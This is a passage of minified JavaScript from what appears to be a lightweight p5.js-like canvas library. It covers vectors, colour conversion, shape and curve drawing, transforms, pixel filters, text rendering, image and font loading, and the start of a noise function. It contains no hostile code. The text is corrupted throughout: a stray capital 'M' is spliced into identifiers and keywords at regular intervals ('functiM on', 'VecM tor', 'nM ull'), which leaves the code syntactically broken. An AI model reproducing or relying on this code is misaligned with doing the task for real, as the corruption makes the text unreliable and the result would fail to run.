lRotationX=0;n.relRotationY=0;n.relRotationZ=0;n.pAccelerationX=0;n.pAccelerationY=0;n.pAccelerationZ=0;n.pRotationX=0;n.pRotationY=0;n.pRotationZ=0;n.pRelRotationX=0;n.pRelRotationY=0;n.pRelRotationZ=0;n.touches=[];n._colorMode=n.RGB;n._noStroke=!1;n._noFill=!1;n._ellipseMode=n.CENTER;n._rectMode=n.CORNER;n._curveDetail=20;n._curveAlpha=0;n._noLoop=!1;n._textFont="sans-serif";n._textSize=12;n._textLeading=12;n._textStyle="normal";n._pixelDensity=1;n._frameRate=null;n._tint=null;let a=null;let r=!0;let i=[];let l=nM
ull;let u=0;let s={};let c=0;let h=null;let f=null;let d=null;Object.defineProperty(n,"deviceOrientation",{get:function(){return 90==Math.abs(window.orientation)?n.LANDSCAPE:n.PORTRAIT}});Object.defineProperty(n,"windowWidth",{get:function(){return window.innerWidth}});Object.defineProperty(n,"windowHeight",{get:function(){return window.innerHeight}});Object.defineProperty(n,"drawingContext",{get:function(){return o}});n.createCanvas=function(e,t){n.width=e,n.height=t,n.canvas.width=e,n.canvas.height=t,m()};n.resizM
eCanvas=function(e,t){n.width=e,n.height=t,n.canvas.width=e,n.canvas.height=t};n.createGraphics=n.createImage=function(t,n){let o=new e("offscreen");return o.createCanvas(t,n),o.noLoop(),o};n.pixelDensity=function(e){return null==e?n._pixelDensity:(n._pixelDensity=e,n.canvas.width=Math.ceil(n.width*e),n.canvas.height=Math.ceil(n.height*e),n.canvas.style.width=n.width+"px",n.canvas.style.height=n.height+"px",o.scale(n._pixelDensity,n._pixelDensity),m(),n._pixelDensity)};n.map=function(e,t,n,o,a,r){let i=o+1*(e-t)/(nM
-t)*(a-o);return r?o<a?Math.min(Math.max(i,o),a):Math.min(Math.max(i,a),o):i};n.lerp=function(e,t,n){return e*(1-n)+t*n};n.constrain=function(e,t,n){return Math.min(Math.max(e,t),n)};n.dist=function(){return 4==arguments.length?Math.hypot(arguments[0]-arguments[2],arguments[1]-arguments[3]):Math.hypot(arguments[0]-arguments[3],arguments[1]-arguments[4],arguments[2]-arguments[5])};n.norm=function(e,t,o){return n.map(e,t,o,0,1)};n.sq=function(e){return e*e};n.fract=function(e){return e-Math.floor(e)};n.degrees=functiM
on(e){return 180*e/Math.PI};n.radians=function(e){return e*Math.PI/180};n.abs=Math.abs;n.ceil=Math.ceil;n.exp=Math.exp;n.floor=Math.floor;n.log=Math.log;n.mag=Math.hypot;n.max=Math.max;n.min=Math.min;n.round=Math.round;n.sqrt=Math.sqrt;n.sin=Math.sin;n.cos=Math.cos;n.tan=Math.tan;n.asin=Math.asin;n.acos=Math.acos;n.atan=Math.atan;n.atan2=Math.atan2;n.Vector=function(e,t,o){let a=this;a.x=e||0,a.y=t||0,a.z=o||0;let r=null,i=null;function l(e,t,n){return null!=e.x?e:null!=t?{x:e,y:t,z:n||0}:{x:e,y:e,z:e}}function u()M
{null==i&&(i=a.x*a.x+a.y*a.y+a.z*a.z,r=Math.sqrt(i))}function s(){i=null,r=null}a.set=function(e,t,n){a.x=e||0,a.y=t||0,a.z=n||0},a.copy=function(){return new n.Vector(a.x,a.y,a.z)},a.add=function(){let e=l.apply(null,arguments);return a.x+=e.x,a.y+=e.y,a.z+=e.z,s(),a},a.rem=function(){let e=l.apply(null,arguments);return a.x%=e.x,a.y%=e.y,a.z%=e.z,s(),a},a.sub=function(){let e=l.apply(null,arguments);return a.x-=e.x,a.y-=e.y,a.z-=e.z,s(),a},a.mult=function(){let e=l.apply(null,arguments);return a.x*=e.x,a.y*=e.y,aM
.z*=e.z,s(),a},a.div=function(){let e=l.apply(null,arguments);return a.x/=e.x,a.y/=e.y,a.z/=e.z,s(),a},a.mag=function(){return u(),r},a.magSq=function(){return u(),i},a.dot=function(){let e=l.apply(null,arguments);return a.x*e.x+a.y*e.y+a.z*e.z},a.dist=function(){let e=l.apply(null,arguments),t=a.x-e.x,n=a.y-e.y,o=a.z-e.z;return Math.sqrt(t*t+n*n+o*o)},a.cross=function(){let e=l.apply(null,arguments),t=a.y*e.z-a.z*e.y,n=a.z*e.x-a.x*e.z,o=a.x*e.y-a.y*e.x;return a.x=t,a.y=n,a.z=o,s(),a},a.normalize=function(){u();letM
 e=r;return a.x/=e,a.y/=e,a.z/=e,r=1,i=1,a},a.limit=function(e){u();let t=r;if(t>e){let n=e/t;a.x*=n,a.y*=n,a.z*=n,r=e,i=e*e}return a},a.setMag=function(e){u();let t=r,n=e/t;return a.x*=n,a.y*=n,a.z*=n,r=e,i=e*e,a},a.heading=function(){return Math.atan2(a.y,a.x)},a.rotate=function(e){let t=Math.cos(e),n=Math.sin(e),o=a.x*t-a.y*n,r=a.x*n+a.y*t;return a.x=o,a.y=r,a},a.angleBetween=function(){let e=l.apply(null,arguments);const t=a.dot(e)/(a.mag()*e.mag());let n;return n=Math.acos(Math.min(1,Math.max(-1,t))),n*=Math.sM
ign(a.cross(e).z||1)},a.lerp=function(e,t){return a.x=a.x*(1-t)+e.x*t,a.y=a.y*(1-t)+e.y*t,a.z=a.z*(1-t)+e.z*t,s(),a},a.reflect=function(e){return e.normalize(),a.sub(e.mult(2*a.dot(e)))},a.array=function(){return[a.x,a.y,a.z]},a.equals=function(e,t){return null==t&&null==(t=Number.EPSILON)&&(t=0),Math.abs(e.x-a.x)<t&&Math.abs(e.y-a.y)<t&&Math.abs(e.z-a.z)<t},a.fromAngle=function(e,t){return null==t&&(t=1),r=t,i=t*t,a.x=t*Math.cos(e),a.y=t*Math.sin(e),a.z=0,a},a.fromAngles=function(e,t,n){null==n&&(n=1),r=n,i=n*n;coM
nst o=Math.cos(t),l=Math.sin(t),u=Math.cos(e),s=Math.sin(e);return a.x=n*s*l,a.y=-n*u,a.z=n*s*o,a},a.random2D=function(){return r=1,i=1,a.fromAngle(Math.random()*Math.PI*2)},a.random3D=function(){return r=1,i=1,a.fromAngles(Math.random()*Math.PI*2,Math.random()*Math.PI*2)},a.toString=function(){return`[${a.x}, ${a.y}, ${a.z}]`}};n.Vector.add=function(e,t){return new n.Vector(e.x+t.x,e.y+t.y,e.z+t.z)};n.Vector.rem=function(e,t){return new n.Vector(e.x%t.x,e.y%t.y,e.z%t.z)};n.Vector.sub=function(e,t){return new n.VecM
tor(e.x-t.x,e.y-t.y,e.z-t.z)};n.Vector.mult=function(e,t){return null==t.x?new n.Vector(e.x*t,e.y*t,e.z*t):new n.Vector(e.x*t.x,e.y*t.y,e.z*t.z)};n.Vector.div=function(e,t){return null==t.x?new n.Vector(e.x/t,e.y/t,e.z/t):new n.Vector(e.x/t.x,e.y/t.y,e.z/t.z)};n.Vector.dist=function(e,t){return Math.hypot(e.x-t.x,e.y-t.y,e.z-t.z)};n.Vector.cross=function(e,t){return new n.Vector(e.y*t.z-e.z*t.y,e.z*t.x-e.x*t.z,e.x*t.y-e.y*t.x)};n.Vector.lerp=function(e,t,o){return new n.Vector(e.x*(1-o)+t.x*o,e.y=e.y*(1-o)+t.y*o,e.M
z=e.z*(1-o)+t.z*o)};n.Vector.equals=function(e,t,n){return e.equals(t,n)};for(let e of["fromAngle","fromAngles","random2D","random3D"])n.Vector[e]=function(t,o,a){return(new n.Vector)[e](t,o,a)};n.createVector=function(e,t,o){return new n.Vector(e,t,o)};n.curvePoint=function(e,t,n,o,a){const r=a*a*a,i=a*a,l=-.5*r+i-.5*a,u=1.5*r-2.5*i+1,s=-1.5*r+2*i+.5*a,c=.5*r-.5*i;return e*l+t*u+n*s+o*c};n.bezierPoint=function(e,t,n,o,a){const r=1-a;return Math.pow(r,3)*e+3*Math.pow(r,2)*a*t+3*r*Math.pow(a,2)*n+Math.pow(a,3)*o};n.M
curveTangent=function(e,t,n,o,a){const r=a*a,i=-3*r/2+2*a-.5,l=9*r/2-5*a,u=-9*r/2+4*a+.5,s=3*r/2-a;return e*i+t*l+n*u+o*s};n.bezierTangent=function(e,t,n,o,a){const r=1-a;return 3*o*Math.pow(a,2)-3*n*Math.pow(a,2)+6*n*r*a-6*t*r*a+3*t*Math.pow(r,2)-3*e*Math.pow(r,2)};function p(e,t,n){let o,a,r,i,l,u,s,c,h;if(0==t)return[255*(o=n),255*(a=n),255*(r=n)];switch((i=e)>360&&(i=0),s=n*(1-t),c=n*(1-t*(u=(i/=60)-(l=~~i))),h=n*(1-t*(1-u)),l){case 0:o=n,a=h,r=s;break;case 1:o=c,a=n,r=s;break;case 2:o=s,a=n,r=h;break;case 3:o=M
s,a=c,r=n;break;case 4:o=h,a=s,r=n;break;default:o=n,a=s,r=c}return[255*o,255*a,255*r]}n.Color=function(e,t,n,o){let a=this;a.MAGIC=786698,a._r=e,a._g=t,a._b=n,a._a=o,a._h=0,a._s=0,a._v=0,a._hsvInferred=!1,a.setRed=function(e){a._r=e,a._hsvInferred=!1},a.setGreen=function(e){a._g=e,a._hsvInferred=!1},a.setBlue=function(e){a._b=e,a._hsvInferred=!1},a.setAlpha=function(e){a._a=e/255,a._hsvInferred=!1},a._inferHSV=function(){a._hsvInferred||([a._h,a._s,a._v]=function(e,t,n){let o,a,r,i,l;if(o=e<t?e<n?e:n:t<n?t:n,0==(lM
=100*(a=e>t?e>n?e:n:t>n?t:n)/255))return[r=0,i=0,l];if(0==(i=100*(a-o)/a))return[r=0,i,l];r=a==e?0+60*(t-n)/(a-o):a==t?120+60*(n-e)/(a-o):240+60*(e-t)/(a-o);return[r,i,l]}(a._r,a._g,a._b),a._hsvInferred=!0)},a.toString=function(){return`rgba(${Math.round(a._r)},${Math.round(a._g)},${Math.round(a._b)},${~~(1e3*a._a)/1e3})`}};n.colorMode=function(e){n._colorMode=e};n.color=function(){if(1==arguments.length&&786698==arguments[0].MAGIC)return arguments[0];if(n._colorMode==n.RGB){if(1==arguments.length)return new n.ColoM
r(arguments[0],arguments[0],arguments[0],1);if(2==arguments.length)return new n.Color(arguments[0],arguments[0],arguments[0],arguments[1]/255);if(3==arguments.length)return new n.Color(arguments[0],arguments[1],arguments[2],1);if(4==arguments.length)return new n.Color(arguments[0],arguments[1],arguments[2],arguments[3]/255)}else{if(1==arguments.length)return new n.Color(...p(0,0,arguments[0]/100),1);if(2==arguments.length)return new n.Color(...p(0,0,arguments[0]/100),arguments[1]/255);if(3==arguments.length)return M
new n.Color(...p(arguments[0],arguments[1]/100,arguments[2]/100),1);if(4==arguments.length)return new n.Color(...p(arguments[0],arguments[1]/100,arguments[2]/100),arguments[3])}return null};n.red=function(e){return e._r};n.green=function(e){return e._g};n.blue=function(e){return e._b};n.alpha=function(e){return 255*e._a};n.hue=function(e){return e._inferHSV(),e._h};n.saturation=function(e){return e._inferHSV(),e._s};n.brightness=function(e){return e._inferHSV(),e._v};n.lightness=function(e){return 100*(.2126*e._r+.M
7152*e._g+.0722*e._b)/255};n.lerpColor=function(e,t,o){return n._colorMode==n.RGB?new n.Color(n.constrain(n.lerp(e._r,t._r,o),0,255),n.constrain(n.lerp(e._g,t._g,o),0,255),n.constrain(n.lerp(e._b,t._b,o),0,255),n.constrain(n.lerp(e._a,t._a,o),0,1)):(e._inferHSV(),t._inferHSV(),new n.Color(n.constrain(function(e,t,o){var a=[[Math.abs(t-e),n.map(o,0,1,e,t)],[Math.abs(t+360-e),n.map(o,0,1,e,t+360)],[Math.abs(t-360-e),n.map(o,0,1,e,t-360)]];return a.sort((e,t)=>e[0]-t[0]),(a[0][1]+720)%360}(e._h,t._h,o),0,360),n.constrM
ain(n.lerp(e._s,t._s,o),0,100),n.constrain(n.lerp(e._v,t._v,o),0,100),n.constrain(n.lerp(e._a,t._a,o),0,1)))};function m(){o.fillStyle="white",o.strokeStyle="black",o.lineCap="round",o.lineJoin="miter"}n.strokeWeight=function(e){n._noStroke=!1,o.lineWidth=e};n.stroke=function(){if(n._noStroke=!1,"string"==typeof arguments[0])return void(o.strokeStyle=arguments[0]);let e=n.color.apply(null,arguments);e._a<=0?n._noStroke=!0:o.strokeStyle=e};n.noStroke=function(){n._noStroke=!0};n.fill=function(){if(n._noFill=!1,"striM
ng"==typeof arguments[0])return void(o.fillStyle=arguments[0]);let e=n.color.apply(null,arguments);e._a<=0?n._noFill=!0:o.fillStyle=e};n.noFill=function(){n._noFill=!0};n.blendMode=function(e){o.globalCompositeOperation=e};n.strokeCap=function(e){o.lineCap=e};n.strokeJoin=function(e){o.lineJoin=e};n.ellipseMode=function(e){n._ellipseMode=e};n.rectMode=function(e){n._rectMode=e};n.curveDetail=function(e){n._curveDetail=e};n.curveAlpha=function(e){n._curveAlpha=e};n.curveTightness=function(e){console.warn("curveTightM
ness() sets the 'alpha' parameter of Catmull-Rom curve, and is NOT identical to p5.js counterpart. As this might change in the future, please call curveAlpha() directly."),n._curveAlpha=e};n.clear=function(){o.clearRect(0,0,n.width,n.height)};n.background=function(){if(arguments[0]&&arguments[0].MAGIC==n.MAGIC)return n.image(arguments[0],0,0,n.width,n.height);o.save(),o.resetTransform(),"string"==typeof arguments[0]?o.fillStyle=arguments[0]:o.fillStyle=n.color(...Array.from(arguments)),o.fillRect(0,0,n.width,n.heigM
ht),o.restore()};n.line=function(e,t,a,r){n._noStroke||(o.beginPath(),o.moveTo(e,t),o.lineTo(a,r),o.stroke())};function g(e){if(0<=e&&e<2*Math.PI)return e;for(;e<0;)e+=2*Math.PI;for(;e>=Math.PI;)e-=2*Math.PI;return e}function v(e,t,a,r,i,l,u,s){if(n._noFill&&n._noStroke)return;let c=g(i),h=g(l);o.beginPath();for(let i=0;i<s+1;i++){let l=i/s,u=n.lerp(c,h,l),f=Math.cos(u)*a/2,d=Math.sin(u)*r/2;o[i?"lineTo":"moveTo"](e+f,t+d)}u==n.CHORD?o.closePath():u==n.PIE&&(o.lineTo(e,t),o.closePath()),n._noFill||o.fill(),n._noStrM
oke||o.stroke()}n.arc=function(e,t,o,a,r,i,l,u){if(r==i)return n.ellipse(e,t,o,a);null==u&&(u=25),null==l&&(l=n.PIE),n._ellipseMode==n.CENTER?v(e,t,o,a,r,i,l,u):n._ellipseMode==n.RADIUS?v(e,t,2*o,2*a,r,i,l,u):n._ellipseMode==n.CORNER?v(e+o/2,t+a/2,o,a,r,i,l,u):n._ellipseMode==n.CORNERS&&v((e+o)/2,(t+a)/2,o-e,a-t,r,i,l,u)};function M(e,t,a,r){n._noFill&&n._noStroke||(o.beginPath(),o.ellipse(e,t,a/2,r/2,0,0,2*Math.PI),n._noFill||o.fill(),n._noStroke||o.stroke())}n.ellipse=function(e,t,o,a){null==a&&(a=o),n._ellipseMoM
de==n.CENTER?M(e,t,o,a):n._ellipseMode==n.RADIUS?M(e,t,2*o,2*a):n._ellipseMode==n.CORNER?M(e+o/2,t+a/2,o,a):n._ellipseMode==n.CORNERS&&M((e+o)/2,(t+a)/2,o-e,a-t)};n.circle=function(e,t,o){return n.ellipse(e,t,o,o)};n.point=function(e,t){e.x&&(t=e.y,e=e.x),o.beginPath(),o.ellipse(e,t,.4,.4,0,0,2*Math.PI),o.stroke()};function _(e,t,a,r,i,l,u,s){if(n._noFill&&n._noStroke)return;if(null==i)return function(e,t,a,r){n._noFill||o.fillRect(e,t,a,r);n._noStroke||o.strokeRect(e,t,a,r)}(e,t,a,r);if(null==l)return _(e,t,a,r,i,M
i,i,i);const c=Math.min(Math.abs(r),Math.abs(a))/2;i=Math.min(c,i),l=Math.min(c,l),s=Math.min(c,s),u=Math.min(c,u),o.beginPath(),o.moveTo(e+i,t),o.arcTo(e+a,t,e+a,t+r,l),o.arcTo(e+a,t+r,e,t+r,u),o.arcTo(e,t+r,e,t,s),o.arcTo(e,t,e+a,t,i),o.closePath(),n._noFill||o.fill(),n._noStroke||o.stroke()}n.rect=function(e,t,o,a,r,i,l,u){n._rectMode==n.CENTER?_(e-o/2,t-a/2,o,a,r,i,l,u):n._rectMode==n.RADIUS?_(e-o,t-a,2*o,2*a,r,i,l,u):n._rectMode==n.CORNER?_(e,t,o,a,r,i,l,u):n._rectMode==n.CORNERS&&_(e,t,o-e,a-t,r,i,l,u)};n.squM
are=function(e,t,o,a,r,i,l){return n.rect(e,t,o,o,a,r,i,l)};function x(){i=[]}n.beginShape=function(){x(),o.beginPath(),r=!0};n.beginContour=function(){o.closePath(),x(),r=!0};n.endContour=function(){x(),r=!0};n.vertex=function(e,t){x(),r?o.moveTo(e,t):o.lineTo(e,t),r=!1};n.bezierVertex=function(e,t,n,a,r,i){x(),o.bezierCurveTo(e,t,n,a,r,i)};n.quadraticVertex=function(e,t,n,a){x(),o.quadraticCurveTo(e,t,n,a)};n.bezier=function(e,t,o,a,r,i,l,u){n.beginShape(),n.vertex(e,t),n.bezierVertex(o,a,r,i,l,u),n.endShape()};nM
.triangle=function(e,t,o,a,r,i){n.beginShape(),n.vertex(e,t),n.vertex(o,a),n.vertex(r,i),n.endShape(n.CLOSE)};n.quad=function(e,t,o,a,r,i,l,u){n.beginShape(),n.vertex(e,t),n.vertex(o,a),n.vertex(r,i),n.vertex(l,u),n.endShape(n.CLOSE)};n.endShape=function(e){x(),e&&o.closePath(),n._noFill||o.fill(),n._noStroke||o.stroke(),n._noFill&&n._noStroke&&(o.save(),o.fillStyle="none",o.fill(),o.restore())};n.curveVertex=function(e,t){if(i.push([e,t]),i.length<4)return;let a=i[i.length-4],l=i[i.length-3],u=i[i.length-2],s=i[i.M
length-1],c=function(e,t,n,o,a,r,i,l,u,s){function c(e,t,n,o,a,r){let i=Math.pow(o-t,2)+Math.pow(a-n,2),l=Math.pow(i,.5*r);return l+e}let h=[],f=c(0,e,t,n,o,s),d=c(f,n,o,a,r,s),p=c(d,a,r,i,l,s);for(let s=0;s<u;s++){let c=f+s/(u-1)*(d-f),m=[(f-c)/(f-0),(c-0)/(f-0),(d-c)/(d-f),(c-f)/(d-f),(p-c)/(p-d),(c-d)/(p-d),(d-c)/(d-0),(c-0)/(d-0),(p-c)/(p-f),(c-f)/(p-f)];for(let e=0;e<m.length;e+=2)isNaN(m[e])&&(m[e]=1,m[e+1]=0),isFinite(m[e])||(m[e]>0?(m[e]=1,m[e+1]=0):(m[e]=0,m[e+1]=1));let g=e*m[0]+n*m[1],v=t*m[0]+o*m[1],M=nM
*m[2]+a*m[3],_=o*m[2]+r*m[3],x=a*m[4]+i*m[5],y=r*m[4]+l*m[5],w=g*m[6]+M*m[7],R=v*m[6]+_*m[7],I=M*m[8]+x*m[9],E=_*m[8]+y*m[9],S=w*m[2]+I*m[3],C=R*m[2]+E*m[3];h.push([S,C])}return h}(...a,...l,...u,...s,n._curveDetail,n._curveAlpha);for(let e=0;e<c.length;e++)r?o.moveTo(...c[e]):o.lineTo(...c[e]),r=!1};n.curve=function(e,t,o,a,r,i,l,u){n.beginShape(),n.curveVertex(e,t),n.curveVertex(o,a),n.curveVertex(r,i),n.curveVertex(l,u),n.endShape()};n.translate=function(e,t){o.translate(e,t)};n.rotate=function(e){o.rotate(e)};nM
.scale=function(e,t){null==t&&(t=e),o.scale(e,t)};n.applyMatrix=function(e,t,n,a,r,i){o.transform(e,t,n,a,r,i)};n.shearX=function(e){o.transform(1,0,Math.tan(e),1,0,0)};n.shearY=function(e){o.transform(1,Math.tan(e),0,1,0,0)};n.resetMatrix=function(){o.resetTransform(),o.scale(n._pixelDensity,n._pixelDensity)};n.pushMatrix=n.push=function(){o.save()};n.popMatrix=n.pop=function(){o.restore()};n.image=function(e,t,a,r,i,l,u,s,c){let h=e.MAGIC==n.MAGIC?e.canvas:e;function d(){if(e.MAGIC!=n.MAGIC||!n._tint)return;let tM
=e.canvas.getContext("2d");t.save(),t.resetTransform(),t.clearRect(0,0,t.canvas.width,t.canvas.height),t.drawImage(f.canvas,0,0),t.restore()}return e.MAGIC==n.MAGIC&&null!=n._tint&&(!function(e,t){null==f&&(f=document.createElement("canvas").getContext("2d"));null==e&&(e=o.canvas.width,t=o.canvas.height);f.canvas.width==e&&f.canvas.height==t||(f.canvas.width=e,f.canvas.height=t)}(e.canvas.width,e.canvas.height),f.drawImage(e.canvas,0,0),e.tinted(n._tint)),r?l?(s||(s=h.width),c||(c=h.height),o.drawImage(h,l,u,s,c,t,M
a,r,i),void d()):(o.drawImage(h,t,a,r,i),void d()):(e.MAGIC==n.MAGIC||e.width?o.drawImage(h,t,a,e.width,e.height):o.drawImage(h,t,a,e.videoWidth,e.videoHeight),void d())};n.loadPixels=function(){l=o.getImageData(0,0,n.canvas.width,n.canvas.height),n.pixels=l.data};n.updatePixels=function(){null!=l&&o.putImageData(l,0,0)};n.loadImage=function(e,t){u++;let o=n.createGraphics(100,100),a=o.canvas.getContext("2d"),r=new Image;return r.src=e,r.crossOrigin="Anonymous",r.onload=function(){a.canvas.width=r.width,a.canvas.heM
ight=r.height,o.width=r.width,o.height=r.height,a.drawImage(r,0,0),u--,t&&t(o)},o};let y={};y[n.THRESHOLD]=function(e,t){null==t?t=127.5:t*=255;for(let n=0;n<e.length;n+=4){const o=.2126*e[n]+.7152*e[n+1]+.0722*e[n+2];e[n]=e[n+1]=e[n+2]=o>=t?255:0}};y[n.GRAY]=function(e){for(let t=0;t<e.length;t+=4){const n=.2126*e[t]+.7152*e[t+1]+.0722*e[t+2];e[t]=e[t+1]=e[t+2]=n}};y[n.OPAQUE]=function(e){for(let t=0;t<e.length;t+=4)e[t+3]=255};y[n.INVERT]=function(e){for(let t=0;t<e.length;t+=4)e[t]=255-e[t],e[t+1]=255-e[t+1],e[tM
+2]=255-e[t+2]};y[n.POSTERIZE]=function(e,t){let n=t-1;for(let o=0;o<e.length;o+=4)e[o]=255*(e[o]*t>>8)/n,e[o+1]=255*(e[o+1]*t>>8)/n,e[o+2]=255*(e[o+2]*t>>8)/n};y[n.DILATE]=function(e){R(),d.set(e);let[t,n]=[o.canvas.width,o.canvas.height];for(let o=0;o<n;o++)for(let a=0;a<t;a++){let r=4*Math.max(a-1,0),i=4*Math.min(a+1,t-1),l=4*Math.max(o-1,0)*t,u=4*Math.min(o+1,n-1)*t,s=4*o*t,c=4*a;for(let t=0;t<4;t++){let n=t+l,o=t+u,a=t+s;e[s+c+t]=Math.max(d[n+c],d[a+r],d[a+c],d[a+i],d[o+c])}}};y[n.ERODE]=function(e){R(),d.set(M
e);let[t,n]=[o.canvas.width,o.canvas.height];for(let o=0;o<n;o++)for(let a=0;a<t;a++){let r=4*Math.max(a-1,0),i=4*Math.min(a+1,t-1),l=4*Math.max(o-1,0)*t,u=4*Math.min(o+1,n-1)*t,s=4*o*t,c=4*a;for(let t=0;t<4;t++){let n=t+l,o=t+u,a=t+s;e[s+c+t]=Math.min(d[n+c],d[a+r],d[a+c],d[a+i],d[o+c])}}};y[n.BLUR]=function(e,t){t=t||1,t=Math.floor(t*n._pixelDensity),R(),d.set(e);let a=2*t+1;let r=function(e){let n=new Float32Array(e),o=.3*t+.8,a=o*o*2;for(let t=0;t<e;t++){let r=t-e/2,i=Math.exp(-r*r/a)/(2.5066282746*o);n[t]=i}reM
turn n}(a),[i,l]=[o.canvas.width,o.canvas.height];for(let n=0;n<l;n++)for(let o=0;o<i;o++){let l=0,u=0,s=0,c=0;for(let e=0;e<a;e++){let a=Math.min(Math.max(o-t+e,0),i-1),h=4*(n*i+a);l+=d[h]*r[e],u+=d[h+1]*r[e],s+=d[h+2]*r[e],c+=d[h+3]*r[e]}let h=4*(n*i+o);e[h]=l,e[h+1]=u,e[h+2]=s,e[h+3]=c}d.set(e);for(let n=0;n<l;n++)for(let o=0;o<i;o++){let u=0,s=0,c=0,h=0;for(let e=0;e<a;e++){let a=Math.min(Math.max(n-t+e,0),l-1),f=4*(a*i+o);u+=d[f]*r[e],s+=d[f+1]*r[e],c+=d[f+2]*r[e],h+=d[f+3]*r[e]}let f=4*(n*i+o);e[f]=u,e[f+1]=sM
,e[f+2]=c,e[f+3]=h}};function w(e,t){null==h&&(h=document.createElement("canvas").getContext("2d")),null==e&&(e=o.canvas.width,t=o.canvas.height),h.canvas.width==e&&h.canvas.height==t||(h.canvas.width=e,h.canvas.height=t)}function R(){let e=o.canvas.width*o.canvas.height*4;null!=d&&e==d.length||(d=new Uint8ClampedArray(e))}function I(e){h.clearRect(0,0,h.canvas.width,h.canvas.height),h.filter=e,h.drawImage(o.canvas,0,0),o.save(),o.resetTransform(),o.clearRect(0,0,o.canvas.width,o.canvas.height),o.drawImage(h.canvasM
,0,0),o.restore()}n.filter=function(e,t){let a=n.HARDWARE_FILTERS&&null!=o.filter;if(a)if(w(),e==n.THRESHOLD){null==t&&(t=.5),t=Math.max(t,1e-5);let e=Math.floor(.5/t*100);I(`saturate(0%) brightness(${e}%) contrast(1000000%)`)}else if(e==n.GRAY)I("saturate(0%)");else if(e==n.OPAQUE)h.fillStyle="black",h.fillRect(0,0,h.canvas.width,h.canvas.height),h.drawImage(o.canvas,0,0),o.save(),o.resetTransform(),o.drawImage(h.canvas,0,0),o.restore();else if(e==n.INVERT)I("invert(100%)");else if(e==n.BLUR)I(`blur(${Math.ceil(t*M
n._pixelDensity/1)||1}px)`);else{let n=o.getImageData(0,0,o.canvas.width,o.canvas.height);y[e](n.data,t),o.putImageData(n,0,0)}else{let n=o.getImageData(0,0,o.canvas.width,o.canvas.height);y[e](n.data,t),o.putImageData(n,0,0)}};n.resize=function(e,t){w(),h.drawImage(o.canvas,0,0),n.width=e,n.height=t,o.canvas.width=e*n._pixelDensity,o.canvas.height=t*n._pixelDensity,o.save(),o.resetTransform(),o.clearRect(0,0,o.canvas.width,o.canvas.height),o.drawImage(h.canvas,0,0,o.canvas.width,o.canvas.height),o.restore()};n.getM
=function(e,t,a,r){if(null!=e&&null==a){let a=o.getImageData(e,t,1,1).data;return new n.Color(a[0],a[1],a[2],a[3]/255)}e=e||0,t=t||0,a=a||n.width,r=r||n.height;let i=n.createGraphics(a,r);i.pixelDensity(n._pixelDensity);let l=o.getImageData(e*n._pixelDensity,t*n._pixelDensity,a*n._pixelDensity,r*n._pixelDensity);return i.canvas.getContext("2d").putImageData(l,0,0),i};n.set=function(e,t,a){if(a.MAGIC==n.MAGIC){let o=n._tint;return n._tint=null,n.image(a,e,t),void(n._tint=o)}let r=4*(t*n._pixelDensity*o.canvas.width+M
e*n._pixelDensity);n.pixels[r]=a._r,n.pixels[r+1]=a._g,n.pixels[r+2]=a._b,n.pixels[r+3]=255*a._a};n.tinted=function(){let e=n.color(...Array.from(arguments)),t=e._a;e._a=1,w(),h.clearRect(0,0,h.canvas.width,h.canvas.height),h.fillStyle=e,h.fillRect(0,0,h.canvas.width,h.canvas.height),h.globalCompositeOperation="multiply",h.drawImage(o.canvas,0,0),h.globalCompositeOperation="source-over",o.save(),o.resetTransform();let a=o.globalCompositeOperation;o.globalCompositeOperation="source-in",o.drawImage(h.canvas,0,0),o.glM
obalCompositeOperation=a,o.restore(),h.globalAlpha=t,h.clearRect(0,0,h.canvas.width,h.canvas.height),h.drawImage(o.canvas,0,0),h.globalAlpha=1,o.save(),o.resetTransform(),o.clearRect(0,0,o.canvas.width,o.canvas.height),o.drawImage(h.canvas,0,0),o.restore()};n.tint=function(){n._tint=n.color(...Array.from(arguments))};n.noTint=function(){n._tint=null};n.mask=function(e){o.save(),o.resetTransform();let t=o.globalCompositeOperation;o.globalCompositeOperation="destination-in",o.drawImage(e.canvas,0,0),o.globalCompositeM
Operation=t,o.restore()};n.clearTemporaryBuffers=function(){h=null,f=null,d=null};n.save=function(e,t){e=e||"untitled",t=t||"png";var n=document.createElement("a");n.innerHTML="[Download]",n.addEventListener("click",function(){this.href=o.canvas.toDataURL(),this.download=e+"."+t},!1),document.body.appendChild(n),n.click(),document.body.removeChild(n)};n.saveCanvas=function(e,t,o){if(e.MAGIC==n.MAGIC){o&&e.save(t,o);let n=t.split(".");return e.save(n.slice(0,-1).join("."),n[n.length-1])}if(t)return n.save(e,t);let aM
=e.split(".");return n.save(a.slice(0,-1).join("."),a[a.length-1])};n.loadFont=function(e,t){let n=e.split("/"),o=n[n.length-1].split(".")[0].replace(" ",""),a=`@font-face {\n        font-family: '${o}';\n        src: url('${e}');\n      }`;const r=document.createElement("style");return r.textContent=a,document.head.append(r),o};n.textFont=function(e){n._textFont=e};n.textSize=function(e){n._textSize=e,n._textLeading=e};n.textLeading=function(e){n._textLeading=e};n.textStyle=function(e){n._textStyle=e};n.textAlign=M
function(e,t){o.textAlign=e,t&&(o.textBaseline=t==n.CENTER?"middle":t)};n.text=function(e,t,a,r){if(!e)return;if(e=e.toString(),n._noFill&&n._noStroke)return;o.font=`${n._textStyle} ${n._textSize}px ${n._textFont}`;let i=e.split("\n");for(let e=0;e<i.length;e++)n._noFill||o.fillText(i[e],t,a,r),n._noStroke||o.strokeText(i[e],t,a,r),a+=n._textLeading};n.textWidth=function(e){return o.font=`${n._textStyle} ${n._textSize}px ${n._textFont}`,o.measureText(e).width};n.textAscent=function(e){return o.font=`${n._textStyle}M
 ${n._textSize}px ${n._textFont}`,o.measureText(e).actualBoundingBoxAscent};n.textDescent=function(e){return o.font=`${n._textStyle} ${n._textSize}px ${n._textFont}`,o.measureText(e).actualBoundingBoxDescent};var E=4;var S=.5;var C=function(e){return.5*(1-Math.cos(e*Math.PI))};var A;n.noise=function(e,t,n){if(t=t||0,n=n||0,null==A){A=new Array(4096);for(var o=0;o<4096;o++)A[o]=Math.random()}e<0&&(e=-e),t<0&&(t=-t),n<0&&(n=-n);for(var a,r,i,l,u,s=Math.floor(e),c=Math.floor(t),h=Math.floor(n),f=e-s,d=t-c,p=n-h,m=0,g=M
